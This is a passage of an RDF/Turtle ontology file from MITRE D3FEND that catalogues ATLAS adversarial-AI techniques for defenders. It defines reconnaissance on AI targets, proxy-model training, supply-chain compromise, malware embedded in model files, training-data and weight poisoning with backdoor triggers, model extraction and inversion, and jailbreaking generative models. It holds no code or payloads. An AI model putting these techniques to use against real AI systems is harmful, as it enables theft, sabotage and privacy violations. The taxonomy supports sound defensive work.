@prefix d3f: <http://d3fend.mitre.org/ontologies/d3fend.owl#> .
@prefix dcterms: <http://purl.org/dc/terms/> .
@prefix owl: <http://www.w3.org/2002/07/owl#> .
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix skos: <http://www.w3.org/2004/02/skos/core#> .
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .

d3f:AMD64CodeSegment a d3f:ImageCodeSegment,
        d3f:ProcessCodeSegment,
        owl:NamedIndividual ;
    rdfs:label "AMD64 Code Segment" .

d3f:AML.T0000.000 a owl:Class ;
    rdfs:label "Journals and Conference Proceedings - ATLAS" ;
    d3f:attack-id "AML.T0000.000" ;
    d3f:definition """Many of the publications accepted at premier artificial intelligence conferences and journals come from commercial labs.
Some journals and conferences are open access, others may require paying for access or a membership.
These publications will often describe in detail all aspects of a particular approach for reproducibility.
This information can be used by adversaries to implement the paper.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0000.000> ;
    rdfs:subClassOf d3f:AML.T0000 ;
    skos:prefLabel "Journals and Conference Proceedings" .

d3f:AML.T0000.001 a owl:Class ;
    rdfs:label "Pre-Print Repositories - ATLAS" ;
    d3f:attack-id "AML.T0000.001" ;
    d3f:definition """Pre-Print repositories, such as arXiv, contain the latest academic research papers that haven't been peer reviewed.
They may contain research notes, or technical reports that aren't typically published in journals or conference proceedings.
Pre-print repositories also serve as a central location to share papers that have been accepted to journals.
Searching pre-print repositories  provide adversaries with a relatively up-to-date view of what researchers in the victim organization are working on.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0000.001> ;
    rdfs:subClassOf d3f:AML.T0000 ;
    skos:prefLabel "Pre-Print Repositories" .

d3f:AML.T0000.002 a owl:Class ;
    rdfs:label "Technical Blogs - ATLAS" ;
    d3f:attack-id "AML.T0000.002" ;
    d3f:definition """Research labs at academic institutions and company R&D divisions often have blogs that highlight their use of artificial intelligence and its application to the organization's unique problems.
Individual researchers also frequently document their work in blogposts.
An adversary may search for posts made by the target victim organization or its employees.
In comparison to [Journals and Conference Proceedings](/techniques/AML.T0000.000) and [Pre-Print Repositories](/techniques/AML.T0000.001) this material will often contain more practical aspects of the AI system.
This could include underlying technologies and frameworks used, and possibly some information about the API access and use case.
This will help the adversary better understand how that organization is using AI internally and the details of their approach that could aid in tailoring an attack.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0000.002> ;
    rdfs:subClassOf d3f:AML.T0000 ;
    skos:prefLabel "Technical Blogs" .

d3f:AML.T0001 a owl:Class ;
    rdfs:label "Search Open AI Vulnerability Analysis - ATLAS" ;
    d3f:attack-id "AML.T0001" ;
    d3f:definition """Much like the [Search Open Technical Databases](/techniques/AML.T0000), there is often ample research available on the vulnerabilities of common AI models. Once a target has been identified, an adversary will likely try to identify any pre-existing work that has been done for this class of models.
This will include not only reading academic papers that may identify the particulars of a successful attack, but also identifying pre-existing implementations of those attacks. The adversary may obtain [Adversarial AI Attack Implementations](/techniques/AML.T0016.000) or develop their own [Adversarial AI Attacks](/techniques/AML.T0017.000) if necessary.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0001> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Search Open AI Vulnerability Analysis" .

d3f:AML.T0002.000 a owl:Class ;
    rdfs:label "Datasets - ATLAS" ;
    d3f:attack-id "AML.T0002.000" ;
    d3f:definition """Adversaries may collect public datasets to use in their operations.
Datasets used by the victim organization or datasets that are representative of the data used by the victim organization may be valuable to adversaries.
Datasets can be stored in cloud storage, or on victim-owned websites.
Some datasets require the adversary to [Establish Accounts](/techniques/AML.T0021) for access.

Acquired datasets help the adversary advance their operations, stage attacks,  and tailor attacks to the victim organization.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0002.000> ;
    rdfs:subClassOf d3f:AML.T0002 ;
    skos:prefLabel "Datasets" .

d3f:AML.T0002.001 a owl:Class ;
    rdfs:label "Models - ATLAS" ;
    d3f:attack-id "AML.T0002.001" ;
    d3f:definition """Adversaries may acquire public models to use in their operations.
Adversaries may seek models used by the victim organization or models that are representative of those used by the victim organization.
Representative models may include model architectures, or pre-trained models which define the architecture as well as model parameters from training on a dataset.
The adversary may search public sources for common model architecture configuration file formats such as YAML or Python configuration files, and common model storage file formats such as ONNX (.onnx), HDF5 (.h5), Pickle (.pkl), PyTorch (.pth), or TensorFlow (.pb, .tflite).

Acquired models are useful in advancing the adversary's operations and are frequently used to tailor attacks to the victim model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0002.001> ;
    rdfs:subClassOf d3f:AML.T0002 ;
    skos:prefLabel "Models" .

d3f:AML.T0003 a owl:Class ;
    rdfs:label "Search Victim-Owned Websites - ATLAS" ;
    d3f:attack-id "AML.T0003" ;
    d3f:definition """Adversaries may search websites owned by the victim for information that can be used during targeting.
Victim-owned websites may contain technical details about their AI-enabled products or services.
Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info.
These sites may also have details highlighting business operations and relationships.

Adversaries may search victim-owned websites to gather actionable information.
This information may help adversaries tailor their attacks (e.g. [Adversarial AI Attacks](/techniques/AML.T0017.000) or [Manual Modification](/techniques/AML.T0043.003)).
Information from these sources may reveal opportunities for other forms of reconnaissance (e.g. [Search Open Technical Databases](/techniques/AML.T0000) or [Search Open AI Vulnerability Analysis](/techniques/AML.T0001))""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0003> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Search Victim-Owned Websites" .

d3f:AML.T0004 a owl:Class ;
    rdfs:label "Search Application Repositories - ATLAS" ;
    d3f:attack-id "AML.T0004" ;
    d3f:definition """Adversaries may search open application repositories during targeting.
Examples of these include Google Play, the iOS App store, the macOS App Store, and the Microsoft Store.

Adversaries may craft search queries seeking applications that contain AI-enabled components.
Frequently, the next step is to [Acquire Public AI Artifacts](/techniques/AML.T0002).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0004> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Search Application Repositories" .

d3f:AML.T0005.000 a owl:Class ;
    rdfs:label "Train Proxy via Gathered AI Artifacts - ATLAS" ;
    d3f:attack-id "AML.T0005.000" ;
    d3f:definition """Proxy models may be trained from AI artifacts (such as data, model architectures, and pre-trained models) that are representative of the target model gathered by the adversary.
This can be used to develop attacks that require higher levels of access than the adversary has available or as a means to validate pre-existing attacks without interacting with the target model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0005.000> ;
    rdfs:subClassOf d3f:AML.T0005 ;
    skos:prefLabel "Train Proxy via Gathered AI Artifacts" .

d3f:AML.T0005.001 a owl:Class ;
    rdfs:label "Train Proxy via Replication - ATLAS" ;
    d3f:attack-id "AML.T0005.001" ;
    d3f:definition """Adversaries may replicate a private model.
By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset.
The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

A replicated model that closely mimic's the target model is a valuable resource in staging the attack.
The adversary can use the replicated model to [Craft Adversarial Data](/techniques/AML.T0043) for various purposes (e.g. [Evade AI Model](/techniques/AML.T0015), [Spamming AI System with Chaff Data](/techniques/AML.T0046)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0005.001> ;
    rdfs:subClassOf d3f:AML.T0005 ;
    skos:prefLabel "Train Proxy via Replication" .

d3f:AML.T0005.002 a owl:Class ;
    rdfs:label "Use Pre-Trained Model - ATLAS" ;
    d3f:attack-id "AML.T0005.002" ;
    d3f:definition "Adversaries may use an off-the-shelf pre-trained model as a proxy for the victim model to aid in staging the attack." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0005.002> ;
    rdfs:subClassOf d3f:AML.T0005 ;
    skos:prefLabel "Use Pre-Trained Model" .

d3f:AML.T0006 a owl:Class ;
    rdfs:label "Active Scanning - ATLAS" ;
    d3f:attack-id "AML.T0006" ;
    d3f:definition """An adversary may probe or scan the victim system to gather information for targeting. This is distinct from other reconnaissance techniques that do not involve direct interaction with the victim system.

Adversaries may scan for open ports on a potential victim's network, which can indicate specific services or tools the victim is utilizing. This could include a scan for tools related to AI DevOps or AI services themselves such as public AI chat agents (ex: [Copilot Studio Hunter](https://github.com/mbrg/power-pwn/wiki/Modules:-Copilot-Studio-Hunter-%E2%80%90-Enum)). They can also send emails to organization service addresses and inspect the replies for indicators that an AI agent is managing the inbox.

Information gained from Active Scanning may yield targets that provide opportunities for other forms of reconnaissance such as [Search Open Technical Databases](/techniques/AML.T0000), [Search Open AI Vulnerability Analysis](/techniques/AML.T0001), or [Gather RAG-Indexed Targets](/techniques/AML.T0064).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0006> ;
    rdfs:subClassOf d3f:ATLASReconnaissanceTechnique ;
    skos:prefLabel "Active Scanning" .

d3f:AML.T0007 a owl:Class ;
    rdfs:label "Discover AI Artifacts - ATLAS" ;
    d3f:attack-id "AML.T0007" ;
    d3f:definition """Adversaries may search private sources to identify AI learning artifacts that exist on the system and gather information about them.
These artifacts can include the software stack used to train and deploy models, training and testing data management systems, container registries, software repositories, and model zoos.

This information can be used to identify targets for further collection, exfiltration, or disruption, and to tailor and improve attacks.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0007> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover AI Artifacts" .

d3f:AML.T0008.000 a owl:Class ;
    rdfs:label "AI Development Workspaces - ATLAS" ;
    d3f:attack-id "AML.T0008.000" ;
    d3f:definition """Developing and staging AI attacks often requires expensive compute resources.
Adversaries may need access to one or many GPUs in order to develop an attack.
They may try to anonymously use free resources such as Google Colaboratory, or cloud resources such as AWS, Azure, or Google Cloud as an efficient way to stand up temporary resources to conduct operations.
Multiple workspaces may be used to avoid detection.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008.000> ;
    rdfs:subClassOf d3f:AML.T0008 ;
    skos:prefLabel "AI Development Workspaces" .

d3f:AML.T0008.001 a owl:Class ;
    rdfs:label "Consumer Hardware - ATLAS" ;
    d3f:attack-id "AML.T0008.001" ;
    d3f:definition """Adversaries may acquire consumer hardware to conduct their attacks.
Owning the hardware provides the adversary with complete control of the environment. These devices can be hard to trace.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008.001> ;
    rdfs:subClassOf d3f:AML.T0008 ;
    skos:prefLabel "Consumer Hardware" .

d3f:AML.T0008.002 a owl:Class ;
    rdfs:label "Domains - ATLAS" ;
    d3f:attack-id "AML.T0008.002" ;
    d3f:definition """Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.

Adversaries may use acquired domains for a variety of purposes (see [ATT&CK](https://attack.mitre.org/techniques/T1583/001/)). Large AI datasets are often distributed as a list of URLs to individual datapoints. Adversaries may acquire expired domains that are included in these datasets and replace individual datapoints with poisoned examples ([Publish Poisoned Datasets](/techniques/AML.T0019)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008.002> ;
    rdfs:subClassOf d3f:AML.T0008 ;
    skos:prefLabel "Domains" .

d3f:AML.T0008.003 a owl:Class ;
    rdfs:label "Physical Countermeasures - ATLAS" ;
    d3f:attack-id "AML.T0008.003" ;
    d3f:definition """Adversaries may acquire or manufacture physical countermeasures to aid or support their attack.

These components may be used to disrupt or degrade the model, such as adversarial patterns printed on stickers or T-shirts, disguises, or decoys. They may also be used to disrupt or degrade the sensors used in capturing data, such as laser pointers, light bulbs, or other tools.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008.003> ;
    rdfs:subClassOf d3f:AML.T0008 ;
    skos:prefLabel "Physical Countermeasures" .

d3f:AML.T0008.004 a owl:Class ;
    rdfs:label "Serverless - ATLAS" ;
    d3f:attack-id "AML.T0008.004" ;
    d3f:definition """Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to Proxy traffic to an adversary-owned command and control server. As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers. This can be used to bypass a Content Security Policy which prevent retrieving content from arbitrary locations.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0008.004> ;
    rdfs:subClassOf d3f:AML.T0008 ;
    skos:prefLabel "Serverless" .

d3f:AML.T0010.000 a owl:Class ;
    rdfs:label "Hardware - ATLAS" ;
    d3f:attack-id "AML.T0010.000" ;
    d3f:definition "Adversaries may target AI systems by disrupting or manipulating the hardware supply chain. AI models often run on specialized hardware such as GPUs, TPUs, or embedded devices, but may also be optimized to operate on CPUs." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010.000> ;
    rdfs:subClassOf d3f:AML.T0010 ;
    skos:prefLabel "Hardware" .

d3f:AML.T0010.001 a owl:Class ;
    rdfs:label "AI Software - ATLAS" ;
    d3f:attack-id "AML.T0010.001" ;
    d3f:definition """Most AI systems rely on a limited set of AI frameworks.
An adversary could get access to a large number of AI systems through a comprise of one of their supply chains.
Many AI projects also rely on other open source implementations of various algorithms.
These can also be compromised in a targeted way to get access to specific systems.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010.001> ;
    rdfs:subClassOf d3f:AML.T0010 ;
    skos:prefLabel "AI Software" .

d3f:AML.T0010.002 a owl:Class ;
    rdfs:label "Data - ATLAS" ;
    d3f:attack-id "AML.T0010.002" ;
    d3f:definition """Data is a key vector of supply chain compromise for adversaries.
Every AI project will require some form of data.
Many rely on large open source datasets that are publicly available.
An adversary could rely on compromising these sources of data.
The malicious data could be a result of [Poison Training Data](/techniques/AML.T0020) or include traditional malware.

An adversary can also target private datasets in the labeling phase.
The creation of private datasets will often require the hiring of outside labeling services.
An adversary can poison a dataset by modifying the labels being generated by the labeling service.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010.002> ;
    rdfs:subClassOf d3f:AML.T0010 ;
    skos:prefLabel "Data" .

d3f:AML.T0010.003 a owl:Class ;
    rdfs:label "Model - ATLAS" ;
    d3f:attack-id "AML.T0010.003" ;
    d3f:definition """AI-enabled systems often rely on open sourced models in various ways.
Most commonly, the victim organization may be using these models for fine tuning.
These models will be downloaded from an external source and then used as the base for the model as it is tuned on a smaller, private dataset.
Loading models often requires executing some saved code in the form of a saved model file.
These can be compromised with traditional malware, or through some adversarial AI techniques.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010.003> ;
    rdfs:subClassOf d3f:AML.T0010 ;
    skos:prefLabel "Model" .

d3f:AML.T0010.004 a owl:Class ;
    rdfs:label "Container Registry - ATLAS" ;
    d3f:attack-id "AML.T0010.004" ;
    d3f:definition """An adversary may compromise a victim's container registry by pushing a manipulated container image and overwriting an existing container name and/or tag. Users of the container registry as well as automated CI/CD pipelines may pull the adversary's container image, compromising their AI Supply Chain. This can affect development and deployment environments.

Container images may include AI models, so the compromised image could have an AI model which was manipulated by the adversary (See [Manipulate AI Model](/techniques/AML.T0018)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0010.004> ;
    rdfs:subClassOf d3f:AML.T0010 ;
    skos:prefLabel "Container Registry" .

d3f:AML.T0011.000 a owl:Class ;
    rdfs:label "Unsafe AI Artifacts - ATLAS" ;
    d3f:attack-id "AML.T0011.000" ;
    d3f:definition """Adversaries may develop unsafe AI artifacts that when executed have a deleterious effect.
The adversary can use this technique to establish persistent access to systems.
These models may be introduced via a [AI Supply Chain Compromise](/techniques/AML.T0010).

Serialization of models is a popular technique for model storage, transfer, and loading.
However, this format without proper checking presents an opportunity for code execution.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0011.000> ;
    rdfs:subClassOf d3f:AML.T0011 ;
    skos:prefLabel "Unsafe AI Artifacts" .

d3f:AML.T0011.001 a owl:Class ;
    rdfs:label "Malicious Package - ATLAS" ;
    d3f:attack-id "AML.T0011.001" ;
    d3f:definition """Adversaries may develop malicious software packages that when imported by a user have a deleterious effect.
Malicious packages may behave as expected to the user. They may be introduced via [AI Supply Chain Compromise](/techniques/AML.T0010). They may not present as obviously malicious to the user and may appear to be useful for an AI-related task.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0011.001> ;
    rdfs:subClassOf d3f:AML.T0011 ;
    skos:prefLabel "Malicious Package" .

d3f:AML.T0012 a owl:Class ;
    rdfs:label "Valid Accounts - ATLAS" ;
    d3f:attack-id "AML.T0012" ;
    d3f:definition """Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access.
Credentials may take the form of usernames and passwords of individual user accounts or API keys that provide access to various AI resources and services.

Compromised credentials may provide access to additional AI artifacts and allow the adversary to perform [Discover AI Artifacts](/techniques/AML.T0007).
Compromised credentials may also grant an adversary increased privileges such as write access to AI artifacts used during development or production.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0012> ;
    rdfs:subClassOf d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "Valid Accounts" .

d3f:AML.T0013 a owl:Class ;
    rdfs:label "Discover AI Model Ontology - ATLAS" ;
    d3f:attack-id "AML.T0013" ;
    d3f:definition """Adversaries may discover the ontology of an AI model's output space, for example, the types of objects a model can detect.
The adversary may discovery the ontology by repeated queries to the model, forcing it to enumerate its output space.
Or the ontology may be discovered in a configuration file or in documentation about the model.

The model ontology helps the adversary understand how the model is being used by the victim.
It is useful to the adversary in creating targeted attacks.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0013> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover AI Model Ontology" .

d3f:AML.T0014 a owl:Class ;
    rdfs:label "Discover AI Model Family - ATLAS" ;
    d3f:attack-id "AML.T0014" ;
    d3f:definition """Adversaries may discover the general family of model.
General information about the model may be revealed in documentation, or the adversary may use carefully constructed examples and analyze the model's responses to categorize it.

Knowledge of the model family can help the adversary identify means of attacking the model and help tailor the attack.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0014> ;
    rdfs:subClassOf d3f:ATLASDiscoveryTechnique ;
    skos:prefLabel "Discover AI Model Family" .

d3f:AML.T0015 a owl:Class ;
    rdfs:label "Evade AI Model - ATLAS" ;
    d3f:attack-id "AML.T0015" ;
    d3f:definition """Adversaries can [Craft Adversarial Data](/techniques/AML.T0043) that prevents an AI model from correctly identifying the contents of the data or [Generate Deepfakes](/techniques/AML.T0088) that fools an AI model expecting authentic data.

This technique can be used to evade a downstream task where AI is utilized. The adversary may evade AI-based virus/malware detection or network scanning towards the goal of a traditional cyber attack. AI model evasion through deepfake generation may also provide initial access to systems that use AI-based biometric authentication.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0015> ;
    rdfs:subClassOf d3f:ATLASDefenseEvasionTechnique,
        d3f:ATLASImpactTechnique,
        d3f:ATLASInitialAccessTechnique ;
    skos:prefLabel "Evade AI Model" .

d3f:AML.T0016.000 a owl:Class ;
    rdfs:label "Adversarial AI Attack Implementations - ATLAS" ;
    d3f:attack-id "AML.T0016.000" ;
    d3f:definition "Adversaries may search for existing open source implementations of AI attacks. The research community often publishes their code for reproducibility and to further future research. Libraries intended for research purposes, such as CleverHans, the Adversarial Robustness Toolbox, and FoolBox, can be weaponized by an adversary. Adversaries may also obtain and use tools that were not originally designed for adversarial AI attacks as part of their attack." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0016.000> ;
    rdfs:subClassOf d3f:AML.T0016 ;
    skos:prefLabel "Adversarial AI Attack Implementations" .

d3f:AML.T0016.001 a owl:Class ;
    rdfs:label "Software Tools - ATLAS" ;
    d3f:attack-id "AML.T0016.001" ;
    d3f:definition """Adversaries may search for and obtain software tools to support their operations.
Software designed for legitimate use may be repurposed by an adversary for malicious intent.
An adversary may modify or customize software tools to achieve their purpose.
Software tools used to support attacks on AI systems are not necessarily AI-based themselves.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0016.001> ;
    rdfs:subClassOf d3f:AML.T0016 ;
    skos:prefLabel "Software Tools" .

d3f:AML.T0016.002 a owl:Class ;
    rdfs:label "Generative AI - ATLAS" ;
    d3f:attack-id "AML.T0016.002" ;
    d3f:definition """Adversaries may search for and obtain generative AI models or tools, such as large language models (LLMs), to assist them in various steps of their operation. Generative AI can be used in a variety of malicious ways, including generating malware or offensive cyber scripts, [Retrieval Content Crafting](/techniques/AML.T0066), or generating [Phishing](/techniques/AML.T0052) content.

Adversaries may obtain an open source model or they may leverage a generative AI service. They may need to jailbreak the generative AI model to bypass any restrictions put in place to limit the types of responses it can generate. They may also need to break the terms of service of the generative AI.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0016.002> ;
    rdfs:subClassOf d3f:AML.T0016 ;
    skos:prefLabel "Generative AI" .

d3f:AML.T0017.000 a owl:Class ;
    rdfs:label "Adversarial AI Attacks - ATLAS" ;
    d3f:attack-id "AML.T0017.000" ;
    d3f:definition """Adversaries may develop their own adversarial attacks.
They may leverage existing libraries as a starting point ([Adversarial AI Attack Implementations](/techniques/AML.T0016.000)).
They may implement ideas described in public research papers or develop custom made attacks for the victim model.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0017.000> ;
    rdfs:subClassOf d3f:AML.T0017 ;
    skos:prefLabel "Adversarial AI Attacks" .

d3f:AML.T0018.000 a owl:Class ;
    rdfs:label "Poison AI Model - ATLAS" ;
    d3f:attack-id "AML.T0018.000" ;
    d3f:definition """Adversaries may manipulate an AI model's weights to change it's behavior or performance, resulting in a poisoned model.
Adversaries may poison a model by by directly manipulating its weights, training the model on poisoned data, further fine-tuning the model, or otherwise interfering with its training process.

The change in behavior of poisoned models may be limited to targeted categories in predictive AI models, or targeted topics, concepts, or facts in generative AI models, or aim for a general performance degradation.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0018.000> ;
    rdfs:subClassOf d3f:AML.T0018 ;
    skos:prefLabel "Poison AI Model" .

d3f:AML.T0018.001 a owl:Class ;
    rdfs:label "Modify AI Model Architecture - ATLAS" ;
    d3f:attack-id "AML.T0018.001" ;
    d3f:definition """Adversaries may directly modify an AI model's architecture to re-define it's behavior. This can include adding or removing layers as well as adding pre or post-processing operations.

The effects could include removing the ability to predict certain classes, adding erroneous operations to increase computation costs, or degrading performance. Additionally, a separate adversary-defined network could be injected into the computation graph, which can change the behavior based on the inputs, effectively creating a backdoor.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0018.001> ;
    rdfs:subClassOf d3f:AML.T0018 ;
    skos:prefLabel "Modify AI Model Architecture" .

d3f:AML.T0018.002 a owl:Class ;
    rdfs:label "Embed Malware - ATLAS" ;
    d3f:attack-id "AML.T0018.002" ;
    d3f:definition """Adversaries may embed malicious code into AI Model files.
AI models may be packaged as a combination of instructions and weights.
Some formats such as pickle files are unsafe to deserialize because they can contain unsafe calls such as exec.
Models with embedded malware may still operate as expected.
It may allow them to achieve Execution, Command & Control, or Exfiltrate Data.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0018.002> ;
    rdfs:subClassOf d3f:AML.T0018 ;
    skos:prefLabel "Embed Malware" .

d3f:AML.T0019 a owl:Class ;
    rdfs:label "Publish Poisoned Datasets - ATLAS" ;
    d3f:attack-id "AML.T0019" ;
    d3f:definition """Adversaries may [Poison Training Data](/techniques/AML.T0020) and publish it to a public location.
The poisoned dataset may be a novel dataset or a poisoned variant of an existing open source dataset.
This data may be introduced to a victim system via [AI Supply Chain Compromise](/techniques/AML.T0010).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0019> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Publish Poisoned Datasets" .

d3f:AML.T0020 a owl:Class ;
    rdfs:label "Poison Training Data - ATLAS" ;
    d3f:attack-id "AML.T0020" ;
    d3f:definition """Adversaries may attempt to poison datasets used by an AI model by modifying the underlying data or its labels.
This allows the adversary to embed vulnerabilities in AI models trained on the data that may not be easily detectable.
Data poisoning attacks may or may not require modifying the labels.
The embedded vulnerability is activated at a later time by data samples with an [Insert Backdoor Trigger](/techniques/AML.T0043.004)

Poisoned data can be introduced via [AI Supply Chain Compromise](/techniques/AML.T0010) or the data may be poisoned after the adversary gains [Initial Access](/tactics/AML.TA0004) to the system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0020> ;
    rdfs:subClassOf d3f:ATLASPersistenceTechnique,
        d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Poison Training Data" .

d3f:AML.T0021 a owl:Class ;
    rdfs:label "Establish Accounts - ATLAS" ;
    d3f:attack-id "AML.T0021" ;
    d3f:definition "Adversaries may create accounts with various services for use in targeting, to gain access to resources needed in [AI Attack Staging](/tactics/AML.TA0001), or for victim impersonation." ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0021> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Establish Accounts" .

d3f:AML.T0024.000 a owl:Class ;
    rdfs:label "Infer Training Data Membership - ATLAS" ;
    d3f:attack-id "AML.T0024.000" ;
    d3f:definition """Adversaries may infer the membership of a data sample or global characteristics of the data in its training set, which raises privacy concerns.
Some strategies make use of a shadow model that could be obtained via [Train Proxy via Replication](/techniques/AML.T0005.001), others use statistics of model prediction scores.

This can cause the victim model to leak private information, such as PII of those in the training set or other forms of protected IP.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0024.000> ;
    rdfs:subClassOf d3f:AML.T0024 ;
    skos:prefLabel "Infer Training Data Membership" .

d3f:AML.T0024.001 a owl:Class ;
    rdfs:label "Invert AI Model - ATLAS" ;
    d3f:attack-id "AML.T0024.001" ;
    d3f:definition """AI models' training data could be reconstructed by exploiting the confidence scores that are available via an inference API.
By querying the inference API strategically, adversaries can back out potentially private information embedded within the training data.
This could lead to privacy violations if the attacker can reconstruct the data of sensitive features used in the algorithm.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0024.001> ;
    rdfs:subClassOf d3f:AML.T0024 ;
    skos:prefLabel "Invert AI Model" .

d3f:AML.T0024.002 a owl:Class ;
    rdfs:label "Extract AI Model - ATLAS" ;
    d3f:attack-id "AML.T0024.002" ;
    d3f:definition """Adversaries may extract a functional copy of a private model.
By repeatedly querying the victim's [AI Model Inference API Access](/techniques/AML.T0040), the adversary can collect the target model's inferences into a dataset.
The inferences are used as labels for training a separate model offline that will mimic the behavior and performance of the target model.

Adversaries may extract the model to avoid paying per query in an artificial intelligence as a service (AIaaS) setting.
Model extraction is used for [AI Intellectual Property Theft](/techniques/AML.T0048.004).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0024.002> ;
    rdfs:subClassOf d3f:AML.T0024 ;
    skos:prefLabel "Extract AI Model" .

d3f:AML.T0025 a owl:Class ;
    rdfs:label "Exfiltration via Cyber Means - ATLAS" ;
    d3f:attack-id "AML.T0025" ;
    d3f:definition """Adversaries may exfiltrate AI artifacts or other information relevant to their goals via traditional cyber means.

See the ATT&CK [Exfiltration](https://attack.mitre.org/tactics/TA0010/) tactic for more information.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0025> ;
    rdfs:subClassOf d3f:ATLASExfiltrationTechnique ;
    skos:prefLabel "Exfiltration via Cyber Means" .

d3f:AML.T0029 a owl:Class ;
    rdfs:label "Denial of AI Service - ATLAS" ;
    d3f:attack-id "AML.T0029" ;
    d3f:definition """Adversaries may target AI-enabled systems with a flood of requests for the purpose of degrading or shutting down the service.
Since many AI systems require significant amounts of specialized compute, they are often expensive bottlenecks that can become overloaded.
Adversaries can intentionally craft inputs that require heavy amounts of useless compute from the AI system.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0029> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "Denial of AI Service" .

d3f:AML.T0031 a owl:Class ;
    rdfs:label "Erode AI Model Integrity - ATLAS" ;
    d3f:attack-id "AML.T0031" ;
    d3f:definition """Adversaries may degrade the target model's performance with adversarial data inputs to erode confidence in the system over time.
This can lead to the victim organization wasting time and money both attempting to fix the system and performing the tasks it was meant to automate by hand.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0031> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "Erode AI Model Integrity" .

d3f:AML.T0034 a owl:Class ;
    rdfs:label "Cost Harvesting - ATLAS" ;
    d3f:attack-id "AML.T0034" ;
    d3f:definition """Adversaries may target different AI services to send useless queries or computationally expensive inputs to increase the cost of running services at the victim organization.
Sponge examples are a particular type of adversarial data designed to maximize energy consumption and thus operating cost.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0034> ;
    rdfs:subClassOf d3f:ATLASImpactTechnique ;
    skos:prefLabel "Cost Harvesting" .

d3f:AML.T0035 a owl:Class ;
